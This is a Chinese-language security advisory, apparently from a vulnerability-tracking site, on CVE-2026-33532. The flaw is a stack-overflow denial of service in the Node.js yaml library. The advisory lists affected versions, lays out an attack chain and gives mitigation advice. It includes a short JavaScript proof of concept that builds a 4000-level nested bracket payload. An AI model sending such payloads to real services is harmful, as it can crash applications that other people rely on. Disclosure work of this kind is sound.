IPBUF安全漏洞报告
English
CVE-2026-33532 CVSS 4.3 中危

CVE-2026-33532: YAML库栈溢出漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-33532
漏洞类型
拒绝服务
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Node.js yaml库

相关标签

拒绝服务DoSYAMLNode.js栈溢出CVE-2026-33532

漏洞概述

JavaScript的`yaml`解析库在解析特定格式的YAML文档时存在安全漏洞。受影响版本包括1.10.3之前的1.x分支和2.8.3之前的2.x分支。由于节点解析/合成阶段使用了无深度限制的递归函数调用,攻击者可以通过精心构造的深度嵌套YAML文档(约2-10KB)触发栈溢出,导致`RangeError`异常。这可能导致Node.js进程意外终止或请求失败,造成拒绝服务攻击。

技术细节

该漏洞的核心在于`yaml`库的文档合成阶段采用了递归算法且未设置深度限制。攻击者可利用YAML流序列特性,构造如`[[[...]]]`的深度嵌套结构。每个层级仅需2字节,约4000层即可耗尽Node.js默认栈空间。受影响的API包括`YAML.parse()`、`YAML.parseDocument()`等。由于抛出的是`RangeError`而非标准的`YAMLParseError`,常规的错误处理机制可能失效,导致未捕获异常,最终引发应用程序终止或服务中断。

攻击链分析

STEP 1
步骤1
攻击者构造包含极深嵌套流序列的恶意YAML数据(例如:连续的方括号)。
STEP 2
步骤2
攻击者将恶意数据发送至目标服务器,触发应用程序调用YAML.parse()等解析函数。
STEP 3
步骤3
yaml库在解析合成阶段进行无限制的递归调用,迅速耗尽Node.js调用栈。
STEP 4
步骤4
系统抛出RangeError异常,若未被正确捕获,导致Node.js进程崩溃或服务不可用。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2026-33532 const YAML = require('yaml'); try { // Generate a deeply nested flow sequence to trigger stack overflow // Approximately 4000 levels of nesting is usually sufficient const depth = 4000; const payload = '['.repeat(depth) + 'content' + ']'.repeat(depth); console.log('Attempting to parse malicious YAML payload...'); const doc = YAML.parse(payload); console.log('Parsing succeeded (vulnerability likely patched).'); } catch (e) { if (e instanceof RangeError) { console.log('Vulnerability Detected: RangeError thrown - Maximum call stack size exceeded'); } else { console.log('Other Error:', e.message); } }

影响范围

yaml < 1.10.3
yaml >= 2.0.0, < 2.8.3

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对输入的YAML数据进行预处理,限制流序列的嵌套深度,或使用try-catch块捕获RangeError异常以防止进程崩溃。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表